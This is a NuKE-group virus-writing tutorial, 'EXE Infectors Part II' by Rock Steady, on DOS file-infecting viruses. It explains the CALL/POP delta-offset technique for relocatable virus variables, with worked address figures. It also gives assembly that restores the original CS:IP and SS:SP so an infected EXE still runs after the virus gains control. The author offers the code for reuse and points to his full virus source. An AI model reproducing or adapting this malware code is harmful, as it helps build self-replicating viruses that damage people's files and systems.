    *****************************
    **  EXE Infectors Part II  **
    **                         **
    **   By Rock Steady/NuKE   **
    *****************************

     The first part consisted on how to Infect the EXE file, from a resident
     virus. However, that is only HALF the code and understanding needed for
     EXE infectors. The part to follow, is on how to give control back to the
     original EXE file. This is one part of EXE infectors, that mostly EVERY
     ONE tend to forget to point out. Big tickle, you know how to infect the
     EXE, but can you make the original EXE run after its infection? Do you
     know how to restore the registers we took from the EXE header? Anyhow
     lets get going...

     If the Infected EXE file is now executed, the first Line of Code it will
     encounter will be the first byte of our Virus. Since CS:IP have been
     changed in the header (Part I) to point to our Virus. The first thing
     we will need to do, is set up a Variable offset, (As I call it). Basically
     when TASM compiles our virus, all variables and other data locations are
     given a FIX address. Though in the case of the Virus this is NOT GOOD as
     viruses, tend to append themselves, and therefore variables are never
     in the same location...
     Fig 1.
       (Original ASM Source)
               CALL   doit_Now             ;Call PUSHes CS:IP addresses
     doit_now: POP    BP                   ;POP in BP the IP register
               SUB    BP,offset doit_now   ;Make it EQUAL 0 for first Compile!
               MOV    AX,word ptr cs:[variable+BP] ;BP=0 now it works!
               ...
     variable  dd     55
     When TASM Compiles the above Code it turns it into Fig 2. (Below)
     Fig 2.                          Fig 3.
       (Virus Just Compiled)                (Virus Infect to a file)
     1234:0100   CALL  1234:0103          1234:0100  JMP  500
     1234:0103   POP   BP                 1234:0102  ...   (Infect File)
     1234:0104   SUB   BP,0103                       ...      ''    ''
     1234:0107   MOV   AX,[0200+BP]       1234:0200  ...      ''    ''
                 ...                                 ...      ''    ''
     1234:0200   dd    55                 1234:0500  CALL 1234:0503
                                          1234:0503  POP  BP       (BP=503)
                                          1234:0504  SUB  BP,0103  (BP=400)
                                          1234:0507  MOV  AX,[0200+BP]
                                                     ...      (200+BP=600)
                                          1234:0600  dd   55
     Later when the Virus infects a File, it will represent Fig 3. Now, when
     the CALL command is executed, it PUSHes into the Stacks the NEXT CS:IP
     so when it has to RETurn, all it has to do is POP back the CS:IP to know
     exactly where it left off! So we can take advantage of the command, by
     POPing back ourselves, thus this will give us the NEXT byte from the CALL
     command. which as you see, in the examples is our POP BP statement.

     However when the Virus is Freshly Compiled, all Registers values are GOOD,
     so that is why we must make BP=0 the first time, as the variables were
     set according to the sources, so no adjustment needed, though when we
     infect a file, this BP Variable Pointer come ALIVE! (View Fig 3. + Fig 2.)

     Boy, That was the HARDEST part of that, Now if you found that simple pat
     yourself on the back, as that is the only `BIG' Conflict people tend to
     disregard or forget. So any time while you are NOT resident but infected
     on the file, and you are running code from the infected file just use the
     that BP Variable Pointer, for any data being loaded... Now lets put the
     routine together, along with the routine to EXECUTE the original EXE file

     ; After the Virus Has moved a copy of itself in memory, Control must be
     ; Given back to the Original EXE file we just infected... This is the
     ; Routine to do it..
     exit_exe_file:
             mov     bx,word ptr cs:[buffer+22][bp]  ;Loads CS register
             mov     ax,cs                           ;Move current CS in AX
             sub     ax,bx                           ;Subtract for alinment
             mov     dx,ax
             add     ax,word ptr cs:[exe_cs][bp]     ;Get ORIGINAL CS
             add     dx,word ptr cs:[exe_ss][bp]     ;Get ORIGINAL SS
             mov     bx,word ptr cs:[exe_ip][bp]     ;Get ORIGINAL IP
             mov     word ptr cs:[fuck_yeah][bp],bx  ;Put IP
             mov     word ptr cs:[fuck_yeah+2][bp],ax ;Put CS (Reverse Order)
             mov     ax,word ptr cs:[exe_sp][bp]     ;Get ORIGNAL SP
             mov     word ptr cs:[Rock_fix1][bp],dx  ;Put in SS
             mov     word ptr cs:[Rock_fix2][bp],ax  ;Put in SP
             db      0B8h     ;The Byte `B80000' is really a MOV AX,????
     Rock_Fix1:               ;???? is the Value of SS that we will put into
             dw      0        ;THIS LINE!
             cli                     ;Disable Interrupts (No Jamming)
             mov     ss,ax           ;Mov the AX (really SS) into SS register
             db      0BCh    ;Byte `BC0000' is really a MOV SP,????
     Rock_Fix2:              ;???? is the Value of SP that we will put into
             dw      0       ;THIS LINE!!
             sti                     ;Enable Interrupts
             db      0EAh    ;The Byte `EA00000000' is a JMP CS:IP How ever
     fuck_Yeah:              ;IP comes FIRST then CS (Reverse Order) And then
             dd      0       ;the Virus does the JMP CS:IP to the Original
                             ; Simple huh?
     ; To see this as a HOLE Virus look at `NuKE PoX V1.1' Virus Sources Codes
     ; Made by me (Rock Steady) As you can see the Code is ORGINAL, and nothing
     ; that looks like any of them Sources we see around. Though I give it to
     ; you to use.
                             Rock Steady / NuKE
       `One, Two, One, Two, One, Two... Come On Get into that Olympic Spirit'
         `Lose Them pounds, Get Rid of that unwanted FAT of them Drives...'